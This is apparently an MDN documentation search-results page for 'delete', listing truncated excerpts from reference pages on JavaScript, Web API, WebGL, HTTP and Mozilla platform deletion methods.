Search completed in 0.94 seconds.
820 results for "delete":
Your results are loading. Please wait...
delete operator - JavaScript
the javascript delete operator removes a property from an object; if no more references to the same property are held, it is eventually released automatically.
... the javascript delete operator removes a property from an object; if no more references to the same property are held, it is eventually released automatically.
...rences to the same property are held, it is eventually released automatically.
...And 59 more matches
JS_DeleteProperty
removes a specified property from an object.
... removes a specified property from an object.
... removes a specified property from an object.
...And 19 more matches
JS_DeleteProperty2
obsolete since jsapi 39this feature is obsolete.
... obsolete since jsapi 39this feature is obsolete.
...nce jsapi 39this feature is obsolete.
...And 18 more matches
IDBObjectStore.delete() - Web APIs
the delete() method of the idbobjectstore interface returns an idbrequest object, and, in a separate thread, deletes the specified record or records.
... the delete() method of the idbobjectstore interface returns an idbrequest object, and, in a separate thread, deletes the specified record or records.
... the delete() method of the idbobjectstore interface returns an idbrequest object, and, in a separate thread, deletes the specified record or records.
...And 16 more matches
IDBFactory.deleteDatabase() - Web APIs
the deletedatabase() method of the idbfactory interface requests the deletion of a database.
... the deletedatabase() method of the idbfactory interface requests the deletion of a database.
...letedatabase() method of the idbfactory interface requests the deletion of a database.
...And 15 more matches
handler.deleteProperty() - JavaScript
the handler.deleteproperty() method is a trap for the delete operator.
... the handler.deleteproperty() method is a trap for the delete operator.
... the delete operator.
...And 15 more matches
Reflect.deleteProperty() - JavaScript
the static reflect.deleteproperty() method allows to delete properties.
... the static reflect.deleteproperty() method allows to delete properties.
... the static reflect.deleteproperty() method allows to delete properties.
...And 12 more matches
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator.
... the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator.
... the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator.
...And 11 more matches
JS_DeleteElement2
obsolete since jsapi 39this feature is obsolete.
... obsolete since jsapi 39this feature is obsolete.
... bool js_deleteelement2(jscontext *cx, js::handleobject obj, uint32_t index, bool *succeeded); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...And 9 more matches
JSDeletePropertyOp
this article covers features introduced in spidermonkey 24 the type of the jsclass.delproperty.
...eded); name type description cx jscontext * the context in which the property access is taking place.
... the context in which the property access is taking place.
...And 8 more matches
IDBCursor.delete() - Web APIs
Web › API › IDBCursor › delete
the delete() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, deletes the record at the cursor's position, without changing the cursor's position.
... the delete() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, deletes the record at the cursor's position, without changing the cursor's position.
... the delete() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, deletes the record at the cursor's position, without changing the cursor's position.
...And 8 more matches
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
the javascript exception "property is non-configurable and can't be deleted" occurs when it was attempted to delete a property, but that property is non-configurable.
... the javascript exception "property is non-configurable and can't be deleted" occurs when it was attempted to delete a property, but that property is non-configurable.
... the javascript exception "property is non-configurable and can't be deleted" occurs when it was attempted to delete a property, but that property is non-configurable.
...And 8 more matches
deleteRegisteredFile - Archive of obsolete content
deleteregisteredfile (netscape 6 and mozilla do not currently support this method.) deletes the specified file and removes its entry from the client version registry.
... deleteregisteredfile (netscape 6 and mozilla do not currently support this method.) deletes the specified file and removes its entry from the client version registry.
... deleteregisteredfile (netscape 6 and mozilla do not currently support this method.) deletes the specified file and removes its entry from the client version registry.
...And 7 more matches
JS_DeleteElement
removes a specified element or numeric property from an object.
... removes a specified element or numeric property from an object.
...deleteelement(jscontext *cx, js::handleobject obj, uint32_t index, js::objectopresult &result); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...And 7 more matches
ServiceWorkerGlobalScope: contentdelete event - Web APIs
the contentdelete event of the serviceworkerglobalscope interface is fired when an item is removed from the indexed content via the user agent.
... the contentdelete event of the serviceworkerglobalscope interface is fired when an item is removed from the indexed content via the user agent.
... the contentdelete event of the serviceworkerglobalscope interface is fired when an item is removed from the indexed content via the user agent.
...And 7 more matches
Set.prototype.delete() - JavaScript
the delete() method removes the specified element from a set object.
... the delete() method removes the specified element from a set object.
...nteractive example is stored in a github repository.
...And 7 more matches
Cache.delete() - Web APIs
Web › API › Cache › delete
the delete() method of the cache interface finds the cache entry whose key is the request, and if found, deletes the cache entry and returns a promise that resolves to true.
... the delete() method of the cache interface finds the cache entry whose key is the request, and if found, deletes the cache entry and returns a promise that resolves to true.
... the delete() method of the cache interface finds the cache entry whose key is the request, and if found, deletes the cache entry and returns a promise that resolves to true.
...And 6 more matches
CacheStorage.delete() - Web APIs
the delete() method of the cachestorage interface finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true.
... the delete() method of the cachestorage interface finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true.
... the delete() method of the cachestorage interface finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true.
...And 6 more matches
ContentIndex.delete() - Web APIs
the delete() method of the contentindex interface unregisters an item from the currently indexed content.
... the delete() method of the contentindex interface unregisters an item from the currently indexed content.
... the delete() method of the contentindex interface unregisters an item from the currently indexed content.
...And 6 more matches
IDBDatabase.deleteObjectStore() - Web APIs
the deleteobjectstore() method of the idbdatabase interface destroys the object store with the given name in the connected database, along with any indexes that reference it.
... the deleteobjectstore() method of the idbdatabase interface destroys the object store with the given name in the connected database, along with any indexes that reference it.
...dbdatabase interface destroys the object store with the given name in the connected database, along with any indexes that reference it.
...And 6 more matches
Selection.deleteFromDocument() - Web APIs
the deletefromdocument() method of the selection interface deletes the selected text from the document's dom.
... the deletefromdocument() method of the selection interface deletes the selected text from the document's dom.
... the deletefromdocument() method of the selection interface deletes the selected text from the document's dom.
...And 6 more matches
HTMLTableElement.deleteRow() - Web APIs
the htmltableelement.deleterow() method removes a specific row (<tr>) from a given <table>.
... the htmltableelement.deleterow() method removes a specific row (<tr>) from a given <table>.
... the htmltableelement.deleterow() method removes a specific row (<tr>) from a given <table>.
...And 5 more matches
IDBObjectStore.deleteIndex() - Web APIs
the deleteindex() method of the idbobjectstore interface destroys the index with the specified name in the connected database, used during a version upgrade.
...eleteindex() method of the idbobjectstore interface destroys the index with the specified name in the connected database, used during a version upgrade.
...index to remove.
...And 5 more matches
RTCIceCandidateStats.deleted - Web APIs
the rtcicecandidatestats dictionary's deleted property indicates whether or not the candidate has been deleted or released.
... the rtcicecandidatestats dictionary's deleted property indicates whether or not the candidate has been deleted or released.
... the rtcicecandidatestats dictionary's deleted property indicates whether or not the candidate has been deleted or released.
...And 5 more matches
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
the oncontentdelete property of the serviceworkerglobalscope interface is an event handler fired when an item is removed from the indexed content via the user agent.
... the oncontentdelete property of the serviceworkerglobalscope interface is an event handler fired when an item is removed from the indexed content via the user agent.
... the oncontentdelete property of the serviceworkerglobalscope interface is an event handler fired when an item is removed from the indexed content via the user agent.
...And 5 more matches
WebGLRenderingContext.deleteShader() - Web APIs
the webglrenderingcontext.deleteshader() method of the webgl api marks a given webglshader object for deletion.
... the webglrenderingcontext.deleteshader() method of the webgl api marks a given webglshader object for deletion.
... the webglrenderingcontext.deleteshader() method of the webgl api marks a given webglshader object for deletion.
...And 5 more matches
FormData.delete() - Web APIs
Web › API › FormData › delete
the delete() method of the formdata interface deletes a key and its value(s) from a formdata object.
... the delete() method of the formdata interface deletes a key and its value(s) from a formdata object.
... the delete() method of the formdata interface deletes a key and its value(s) from a formdata object.
...And 4 more matches
Headers.delete() - Web APIs
Web › API › Headers › delete
the delete() method of the headers interface deletes a header from the current headers object.
...ce deletes a header from the current headers object.
...typeerror for the following reasons: the value of the name parameter is not the name of an http header.
...And 4 more matches
WebGLRenderingContext.deleteBuffer() - Web APIs
the webglrenderingcontext.deletebuffer() method of the webgl api deletes a given webglbuffer.
... the webglrenderingcontext.deletebuffer() method of the webgl api deletes a given webglbuffer.
... the webglrenderingcontext.deletebuffer() method of the webgl api deletes a given webglbuffer.
...And 4 more matches
WebGLRenderingContext.deleteFramebuffer() - Web APIs
the webglrenderingcontext.deleteframebuffer() method of the webgl api deletes a given webglframebuffer object.
... the webglrenderingcontext.deleteframebuffer() method of the webgl api deletes a given webglframebuffer object.
... the webglrenderingcontext.deleteframebuffer() method of the webgl api deletes a given webglframebuffer object.
...And 4 more matches
WebGLRenderingContext.deleteProgram() - Web APIs
the webglrenderingcontext.deleteprogram() method of the webgl api deletes a given webglprogram object.
... the webglrenderingcontext.deleteprogram() method of the webgl api deletes a given webglprogram object.
... the webglrenderingcontext.deleteprogram() method of the webgl api deletes a given webglprogram object.
...And 4 more matches
WebGLRenderingContext.deleteRenderbuffer() - Web APIs
the webglrenderingcontext.deleterenderbuffer() method of the webgl api deletes a given webglrenderbuffer object.
... the webglrenderingcontext.deleterenderbuffer() method of the webgl api deletes a given webglrenderbuffer object.
... the webglrenderingcontext.deleterenderbuffer() method of the webgl api deletes a given webglrenderbuffer object.
...And 4 more matches
WebGLRenderingContext.deleteTexture() - Web APIs
the webglrenderingcontext.deletetexture() method of the webgl api deletes a given webgltexture object.
... the webglrenderingcontext.deletetexture() method of the webgl api deletes a given webgltexture object.
... the webglrenderingcontext.deletetexture() method of the webgl api deletes a given webgltexture object.
...And 4 more matches
TypeError: can't delete non-configurable array element - JavaScript
the javascript exception "can't delete non-configurable array element" occurs when it was attempted to shorten the length of an array, but one of the array's elements is non-configurable.
... the javascript exception "can't delete non-configurable array element" occurs when it was attempted to shorten the length of an array, but one of the array's elements is non-configurable.
... the javascript exception "can't delete non-configurable array element" occurs when it was attempted to shorten the length of an array, but one of the array's elements is non-configurable.
...And 4 more matches
WeakSet.prototype.delete() - JavaScript
the delete() method removes the specified element from a weakset object.
... the delete() method removes the specified element from a weakset object.
...eractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...And 4 more matches
HTMLTableElement.deleteCaption() - Web APIs
the htmltableelement.deletecaption() method removes the <caption> element from a given <table>.
... the htmltableelement.deletecaption() method removes the <caption> element from a given <table>.
... the htmltableelement.deletecaption() method removes the <caption> element from a given <table>.
...And 3 more matches
Range.deleteContents() - Web APIs
the range.deletecontents() method removes the contents of the range from the document.
... the range.deletecontents() method removes the contents of the range from the document.
... the range.deletecontents() method removes the contents of the range from the document.
...And 3 more matches
URLSearchParams.delete() - Web APIs
the delete() method of the urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters.
... the delete() method of the urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters.
... the delete() method of the urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters.
...And 3 more matches
WebGL2RenderingContext.deleteQuery() - Web APIs
the webgl2renderingcontext.deletequery() method of the webgl 2 api deletes a given webglquery object.
... the webgl2renderingcontext.deletequery() method of the webgl 2 api deletes a given webglquery object.
... the webgl2renderingcontext.deletequery() method of the webgl 2 api deletes a given webglquery object.
...And 3 more matches
WebGL2RenderingContext.deleteSampler() - Web APIs
the webgl2renderingcontext.deletesampler() method of the webgl 2 api deletes a given webglsampler object.
... the webgl2renderingcontext.deletesampler() method of the webgl 2 api deletes a given webglsampler object.
... the webgl2renderingcontext.deletesampler() method of the webgl 2 api deletes a given webglsampler object.
...And 3 more matches
WebGL2RenderingContext.deleteSync() - Web APIs
the webgl2renderingcontext.deletesync() method of the webgl 2 api deletes a given webglsync object.
... the webgl2renderingcontext.deletesync() method of the webgl 2 api deletes a given webglsync object.
... the webgl2renderingcontext.deletesync() method of the webgl 2 api deletes a given webglsync object.
...And 3 more matches
WebGL2RenderingContext.deleteTransformFeedback() - Web APIs
the webgl2renderingcontext.deletetransformfeedback() method of the webgl 2 api deletes a given webgltransformfeedback object.
... the webgl2renderingcontext.deletetransformfeedback() method of the webgl 2 api deletes a given webgltransformfeedback object.
... the webgl2renderingcontext.deletetransformfeedback() method of the webgl 2 api deletes a given webgltransformfeedback object.
...And 3 more matches
WebGL2RenderingContext.deleteVertexArray() - Web APIs
the webgl2renderingcontext.deletevertexarray() method of the webgl 2 api deletes a given webglvertexarrayobject object.
... the webgl2renderingcontext.deletevertexarray() method of the webgl 2 api deletes a given webglvertexarrayobject object.
... the webgl2renderingcontext.deletevertexarray() method of the webgl 2 api deletes a given webglvertexarrayobject object.
...And 3 more matches
DELETE - HTTP
Web › HTTP › Methods › DELETE
the http delete request method deletes the specified resource.
... the http delete request method deletes the specified resource.
... the http delete request method deletes the specified resource.
...And 3 more matches
Map.prototype.delete() - JavaScript
the delete() method removes the specified element from a map object by key.
... the delete() method removes the specified element from a map object by key.
...sitory.
...And 3 more matches
PR_Delete
syntax #include <prio.h> prstatus pr_delete(const char *name); parameters the function has the following parameter: name the pathname of the file to be deleted.
... syntax #include <prio.h> prstatus pr_delete(const char *name); parameters the function has the following parameter: name the pathname of the file to be deleted.
... syntax #include <prio.h> prstatus pr_delete(const char *name); parameters the function has the following parameter: name the pathname of the file to be deleted.
...And 2 more matches
HTMLTableElement.deleteTFoot() - Web APIs
the htmltableelement.deletetfoot() method removes the <tfoot> element from a given <table>.
... the htmltableelement.deletetfoot() method removes the <tfoot> element from a given <table>.
... the htmltableelement.deletetfoot() method removes the <tfoot> element from a given <table>.
...And 2 more matches
HTMLTableElement.deleteTHead() - Web APIs
the htmltableelement.deletethead() removes the <thead> element from a given <table>.
... the htmltableelement.deletethead() removes the <thead> element from a given <table>.
... the htmltableelement.deletethead() removes the <thead> element from a given <table>.
...And 2 more matches
WeakMap.prototype.delete() - JavaScript
the delete() method removes the specified element from a weakmap object.
... the delete() method removes the specified element from a weakmap object.
...ractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...And 2 more matches
CSSStyleSheet.deleteRule() - Web APIs
the cssstylesheet method deleterule() removes a rule from the stylesheet object.
... the cssstylesheet method deleterule() removes a rule from the stylesheet object.
... the cssstylesheet method deleterule() removes a rule from the stylesheet object.
... syntax cssstylesheet.deleterule(index) parameters index the index into the stylesheet's cssrulelist indicating the rule to be removed.
EXT_disjoint_timer_query.deleteQueryEXT() - Web APIs
the ext_disjoint_timer_query.deletequeryext() method of the webgl api deletes a given webglquery object.
... the ext_disjoint_timer_query.deletequeryext() method of the webgl api deletes a given webglquery object.
... the ext_disjoint_timer_query.deletequeryext() method of the webgl api deletes a given webglquery object.
... the ext_disjoint_timer_query.deletequeryext() method of the webgl api deletes a given webglquery object.
OES_vertex_array_object.deleteVertexArrayOES() - Web APIs
the oes_vertex_array_object.deletevertexarrayoes() method of the webgl api deletes a given webglvertexarrayobject object.
... the oes_vertex_array_object.deletevertexarrayoes() method of the webgl api deletes a given webglvertexarrayobject object.
... the oes_vertex_array_object.deletevertexarrayoes() method of the webgl api deletes a given webglvertexarrayobject object.
..._object.deletevertexarrayoes() method of the webgl api deletes a given webglvertexarrayobject object.
<del>: The Deleted Text element - HTML: Hypertext Markup Language
Web › HTML › Element › del
the html <del> element represents a range of text that has been deleted from a document.
...date of the change and must be a valid date string with an optional time.
... cannot be parsed as a date with an optional time string, the element does not have an associated time stamp.
...idden; position: absolute; white-space: nowrap; width: 1px; } del::before { content: " [deletion start] "; } del::after { content: " [deletion end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity.
deleteValue - Archive of obsolete content
deletevalue removes the value of an arbitrary key.
... deletevalue removes the value of an arbitrary key.
... deletevalue removes the value of an arbitrary key.
StylePropertyMap.delete() - Web APIs
the delete() method of the stylepropertymap interface removes the css declaration with the given property.
... the delete() method of the stylepropertymap interface removes the css declaration with the given property.
... the stylepropertymap interface removes the css declaration with the given property.
deleteKey - Archive of obsolete content
deletekey removes a key from the registry.
... deletekey removes a key from the registry.
PR_DeleteSharedMemory
deletes a shared memory segment identified by name.
... deletes a shared memory segment identified by name.
PR_DELETE
allocates memory of a specified size from the heap.
PR_DeleteSemaphore
removes a semaphore specified by name from the system.
DeleteText
documentation is now located at nsiaccessibleeditabletext.deletetext().
deleteCategory
this content is now available at nsicategorymanager.deletecategory().
deleteCategoryEntry
this content is now available at nsicategorymanager.deletecategoryentry().
Index - Web APIs
Web › API › Index
tead use the more standard insertrule() method.
...ssstylesheet, layout, object model, property, read-only, reference, stylesheet the read-only cssstylesheet property cssrules returns a live cssrulelist which provides a real-time, up-to-date list of every css rule which comprises the stylesheet.
...heet, layout, object model, property, read-only, reference, stylesheet the read-only cssstylesheet property cssrules returns a live cssrulelist which provides a real-time, up-to-date list of every css rule which comprises the stylesheet.
...And 115 more matches
nsINavHistoryObserver
global history.
....0 / seamonkey 2.18) warning: if you are in the middle of a batch transaction, there may be a database transaction active.
... batch transaction, there may be a database transaction active.
...And 31 more matches
Index
be compiled into the nss libraries, and code that is only used for testing.
... tools certutil certificates, x509v3 the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files.
...) messages.
...And 26 more matches
Vue conditional rendering: editing existing todos - Learn web development
now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items.
...em-edited event.
...checkbox" :id="id" :checked="isdone" @change="$emit('checkbox-changed')" /> <label :for="id" class="checkbox-label">{{label}}</label> </div> <div class="btn-group"> <button type="button" class="btn" @click="toggletoitemeditform"> edit <span class="visually-hidden">{{label}}</span> </button> <button type="button" class="btn btn__danger" @click="deletetodo"> delete <span class="visually-hidden">{{label}}</span> </button> </div> </div> </template> we’ve added a wrapper <div> around the whole template for layout purposes.
...And 23 more matches
Client-side storage - Learn web development
hing else in an indexeddb instance.
...endchild(h3); listitem.appendchild(para); list.appendchild(listitem); // put the data from the cursor inside the h3 and para h3.textcontent = cursor.value.title; para.textcontent = cursor.value.body; // store the id of the data item inside an attribute on the listitem, so we know // which item it corresponds to.
... h3.textcontent = cursor.value.title; para.textcontent = cursor.value.body; // store the id of the data item inside an attribute on the listitem, so we know // which item it corresponds to.
...And 22 more matches
Index
t of double values that are assigned as properties to an object using js_defineconstdoubles.
...js_defineconstdoubles.
...vertop callback specifies conversion behavior for objects having this class, implementing the ecmascript [[defaultvalue]] behavior for them.
...And 22 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things.
...bject before returning it.
...urn the original object.
...And 19 more matches
Editor Embedding Guide - Archive of obsolete content
e to call docommand.
...l docommand.
...nformation on the state of the command.
...And 17 more matches
nsIMsgDatabase
in boolean bignored, in nsidbchangelistener instigator); boolean isread(in nsmsgkey key); boolean isignored(in nsmsgkey key); boolean ismarked(in nsmsgkey key); boolean hasattachments(in nsmsgkey key); void markallread(in nsmsgkeyarrayptr thosemarked); native code only!
...ored(in nsmsgkey key); boolean ismarked(in nsmsgkey key); boolean hasattachments(in nsmsgkey key); void markallread(in nsmsgkeyarrayptr thosemarked); native code only!
...key key); void markallread(in nsmsgkeyarrayptr thosemarked); native code only!
...And 17 more matches
Expressions and operators - JavaScript
lowing code uses the comma operator to update two variables at once.
...uses the comma operator to update two variables at once.
...perator to update two variables at once.
...And 17 more matches
MMgc - Archive of obsolete content
naging" it, detecting when the memory is no longer reachable from anywhere in the application and reclaiming it at that time.
...chable from anywhere in the application and reclaiming it at that time.
...naged memory by subclassing gcobject/gcfinalizedobject/rcobject, or by calling gc::alloc.
...And 15 more matches
Using IndexedDB - Web APIs
/ save the idbdatabase interface var db = event.target.result; // create an objectstore for this database var objectstore = db.createobjectstore("name", { keypath: "mykey" }); }; in this case, the database will already have the object stores from the previous version of the database, so you do not have to create these object stores again.
...path: "mykey" }); }; in this case, the database will already have the object stores from the previous version of the database, so you do not have to create these object stores again.
...he previous version of the database, so you do not have to create these object stores again.
...And 15 more matches
Componentizing our Svelte app - Learn web development
ck={() => todo.completed = !todo.completed} checked={todo.completed} /> <label for="todo-{todo.id}" class="todo-label">{todo.name}</label> </div> <div class="btn-group"> <button type="button" class="btn"> edit <span class="visually-hidden">{todo.name}</span> </button> <button type="button" class="btn btn__danger" on:click={() => alert('not implemented')}> delete <span class="visually-hidden">{todo.name}</span> </button> </div> </div> now we need to import our todo component into todos.svelte.
...ents receiving data from their parents via props and parent components updating their state by handling events emitted from child components.
...n event to your parent component by specifying on:event without any handler.
...And 14 more matches
nsIMsgFolder
l for the newer methods (esp.
...(esp.
...tfolderloading(); void endfolderloading(); void updatefolder(in nsimsgwindow awindow); nsimsgfilterlist getfilterlist(in nsimsgwindow msgwindow); void setfilterlist(in nsimsgfilterlist filterlist); void forcedbclosed(); void delete(); void deletesubfolders(in nsisupportsarray folders, in nsimsgwindow msgwindow); void propagatedelete(in nsimsgfolder folder, in boolean deletestorage,in nsimsgwindow msgwindow); void recursivedelete(in boolean deletestorage, in nsimsgwindow msgwindow); void createsubfolder(in astring foldername, in nsimsgwindow msgwindow); nsimsgfolder addsubfolder(in astring foldername); void createstorageifmissing(in nsiurllistener urllistener); void compact(in nsiu...
...And 14 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
</div> <div id="controls"> <div class="section"> <div class="title"> active point </div> <div class="property"> <div class="ui-input-slider" data-topic="point-position" data-info="position" data-unit="px" data-min="-1000" data-value="0" data-max="1000" data-sensivity="5"></div> <div id="delete-point" class="button"> delete point </div> </div> <div class="ui-color-picker" data-topic="picker"></div> </div> <div class="section"> <div class="title"> active axis </div> <div class="property"> <div class="name"> axis unit </div> <div class="ui-dropdown" data-topic="...
...s="title"> active axis </div> <div class="property"> <div class="name"> axis unit </div> <div class="ui-dropdown" data-topic="axis-unit" data-selected="1"> <div data-value='px'> pixels (px) </div> <div data-value='%'> percentage (%) </div> </div> <div id="delete-axis" class="button"> delete line </div> </div> <div class="property"> <div class="ui-slider" data-topic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title...
...ine; float: left; } #controls .button[data-state='disabled'] { background-color: #ccc !important; color: #777 !important; } #controls .button[data-state='disabled']:hover { background-color: #ccc !important; cursor: default !important; } #controls .button:hover { cursor: pointer; background-color: #208b20; } /* active point */ .ui-input-slider { height: 24px; line-height: 20px; } #delete-point { margin: 0 58px 0 0; float: right !important; } #controls .ui-color-picker[data-topic="picker"] { margin: 20px 0 0 0; } #controls .ui-input-slider[data-topic="axis-rotation"] { } #controls .ui-dropdown { width: 130px; height: 24px; } #controls .ui-dropdown-select { line-height: 24px; } #controls .ui-dropdown-list { height: 66px; line-height: 2.5em; overflow: hidden; } #delet...
...And 11 more matches
Commands - Archive of obsolete content
nd) this method should return true if the command is enabled, or false if it is disabled.
... the command is enabled, or false if it is disabled.
...if it is disabled.
...And 10 more matches
IPDL Best Practices
there a range of mistakes that authors of new sub-protocols frequently make.
... there a range of mistakes that authors of new sub-protocols frequently make.
... there a range of mistakes that authors of new sub-protocols frequently make.
...And 10 more matches
Key Values - Web APIs
keycode_page_up (92) [1] internet explorer, edge (16 and earlier), and firefox (36 and earlier) use "left", "right", "up", and "down" instead of "arrowleft", "arrowright", "arrowup", and "arrowdown".
... edge (16 and earlier), and firefox (36 and earlier) use "left", "right", "up", and "down" instead of "arrowleft", "arrowright", "arrowup", and "arrowdown".
...y key (on certain extended keyboards).
...And 10 more matches
ContextMenus - Archive of obsolete content
a context menu may be attached to an element using the context attribute, which may be applied to any xul element.
...ing on an image might display items pertaining to images, whereas clicking on a link would display items pertaining to links.
... display items pertaining to images, whereas clicking on a link would display items pertaining to links.
...And 9 more matches
Tree View Details - Archive of obsolete content
determining whether a later sibling exists.
...hich is the most complex.
...e visibledata array when a row is opened or closed.
...And 9 more matches
IPDL Tutorial
protocol pplugininstance; rpc protocol pplugin { manages pplugininstance; child: rpc init(nscstring pluginpath) returns (bool ok); // this part creates constructor messages rpc pplugininstance(nscstring type, nscstring[] args) returns (int rv); }; // ----- file pplugininstance.ipdl include protocol pplugin; rpc protocol pplugininstance { manager pplugin; child: rpc __delete__(); setsize(int width, int height); }; this example has several new elements: `include protocol` imports another protocol declaration into this file.
...st declare constructor and destructor messages for pplugininstance actors.
...ike other ipdl messages.
...And 9 more matches
Bytecode Descriptions
at: jof_elem, jof_propset, jof_checksloppy, jof_ic strictsetelem stack: obj, key, val ⇒ val like jsop::setelem, but for strict mode code.
...like jsop::setelem, but for strict mode code.
...or strict mode code.
...And 9 more matches
Places Developer Guide
cape bookmarks html format.
... uri(spec) { return cc["@mozilla.org/network/io-service;1"].
...owserhistory = histsvc.queryinterface(ci.nsibrowserhistory); var oururi = uri("http://www.mozilla.com"); // remove all visits for a single url from history browserhistory.removepage(oururi); // remove all visits for multiple urls from history var uristodelete = [oururi]; // will call nsinavhistoryobserver.onbeginupdatebatch/onendupdatebatch var donotify = false; browserhistory.removepages(uristodelete, uristodelete.length, donotify); // remove all visits within a given time period var enddate = date.now() * 1000; // now, in microseconds var startdate = enddate - (7 * 86400 * 1000 * 1000); // one week ago, in microseconds browserhistory.removepagesbytimeframe(startdate, enddate); // remove all pages for a given host var entiredomain = true; // will delete from all hosts from the given domain ...
...And 9 more matches
IAccessibleEditableText
mpty string is defined.
...xt between the two given indices is copied into the system clipboard.
...g startoffset, [in] long endoffset ); parameters startoffset start index of the text to moved into the clipboard.
...And 9 more matches
nsISessionStore
dows for details.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful.
..., in astring astringvalue); nsidomnode undoclosetab(in nsidomwindow awindow, in unsigned long aindex); nsidomwindow undoclosewindow(in unsigned long aindex); attributes attribute type description canrestorelastsession boolean is it possible to restore the previous session.
...And 9 more matches
Streams - Plugins
stream has an associated mime type identifying the format of the data in the stream.
...ent by the plug-in to the browser are like normal-mode streams produced by the browser, but in reverse.
...duced by the plug-in, the plug-in calls the plug-in api methods npp_newstream, npp_write, and npp_destroystream to create a stream, push data into it, and delete it.
...And 9 more matches
Cookies - Firefox Developer Tools
use the resulting context menu to show/hide the columns.
...to show/hide the columns.
...ou can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
...And 9 more matches
WebGLRenderingContext - Web APIs
parate() sets the front and/or back-facing stencil test actions.
...he front and/or back-facing stencil test actions.
...fer.
...And 9 more matches
Code snippets - Archive of obsolete content
nt having data.
... url = tab.urlhistory[0]; // load the tab via the tabbed browser api.
... // load the tab via the tabbed browser api.
...And 8 more matches
jspage - Archive of obsolete content
a=this.length;b<a;b++){c[b]=d.call(e,this[b],b,this);}return c;},some:function(c,d){for(var b=0,a=this.length;b<a;b++){if(c.call(d,this[b],b,this)){return true; }}return false;},associate:function(c){var d={},b=math.min(this.length,c.length);for(var a=0;a<b;a++){d[c[a]]=this[a];}return d;},link:function(c){var a={}; for(var e=0,b=this.length;e<b;e++){for(var d in c){if(c[d](this[e])){a[d]=this[e];delete c[d];break;}}}return a;},contains:function(a,b){return this.indexof(a,b)!=-1; },extend:function(c){for(var b=0,a=c.length;b<a;b++){this.push(c[b]);}return this;},getlast:function(){return(this.length)?this[this.length-1]:null;},getrandom:function(){return(this.length)?this[$random(0,this.length-1)]:null; },include:function(a){if(!this.contains(a)){this.push(a);}return this;},combine:function(c){f...
...property,keyof:function(b){for(var a in this){if(this.hasownproperty(a)&&this[a]===b){return a;}}return null; },hasvalue:function(a){return(hash.keyof(this,a)!==null);},extend:function(a){hash.each(a||{},function(c,b){hash.set(this,b,c);},this);return this;},combine:function(a){hash.each(a||{},function(c,b){hash.include(this,b,c); },this);return this;},erase:function(a){if(this.hasownproperty(a)){delete this[a];}return this;},get:function(a){return(this.hasownproperty(a))?this[a]:null; },set:function(a,b){if(!this[a]||this.hasownproperty(a)){this[a]=b;}return this;},empty:function(){hash.each(this,function(b,a){delete this[a];},this); return this;},include:function(a,b){if(this[a]==undefined){this[a]=b;}return this;},map:function(b,c){var a=new hash;hash.each(this,function(e,d){a.set(d,b.call(c,...
...!(function(){while(l&&l.nodetype==3){l=l.parentnode;}return true;}).create({attempt:browser.engine.gecko})()){l=false; }}}}return $extend(this,{event:a,type:j,page:i,client:c,rightclick:e,wheel:h,relatedtarget:l,target:g,code:b,key:m,shift:a.shiftkey,control:a.ctrlkey,alt:a.altkey,meta:a.metakey}); }});event.keys=new hash({enter:13,up:38,down:40,left:37,right:39,esc:27,space:32,backspace:8,tab:9,"delete":46});event.implement({stop:function(){return this.stoppropagation().preventdefault(); },stoppropagation:function(){if(this.event.stoppropagation){this.event.stoppropagation();}else{this.event.cancelbubble=true;}return this;},preventdefault:function(){if(this.event.preventdefault){this.event.preventdefault(); }else{this.event.returnvalue=false;}return this;}});function class(b){if(b instanceof fu...
...And 8 more matches
nsICategoryManager
2.1) implemented by: @mozilla.org/categorymanager;1.
...;1.
... across application sessions.
...And 8 more matches
Address Book examples
elements()) { let ab = alladdressbooks.getnext(); if (ab instanceof components.interfaces.nsiabdirectory && !ab.isremote) { let searchresult = abmanager.getdirectory(ab.uri + "?" + searchquery).childcards; // ...
...d a card from an nsiabdirectory (see above), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("firstname", "jane"); card.setproperty("lastname", "doe"); secondly, call modifycard to save the card in the database.
...e), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("firstname", "jane"); card.setproperty("lastname", "doe"); secondly, call modifycard to save the card in the database.
...And 8 more matches
Initialization and Destruction - Plugins
this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown.
...calls the plug-in api function np_initialize when the plug-in code is first loaded.
...in code is first loaded.
...And 8 more matches
Content Index API - Web APIs
ached media file, for example, can't be indexed directly.
...ines the object used to represent the contentdelete event.
...e event.
...And 8 more matches
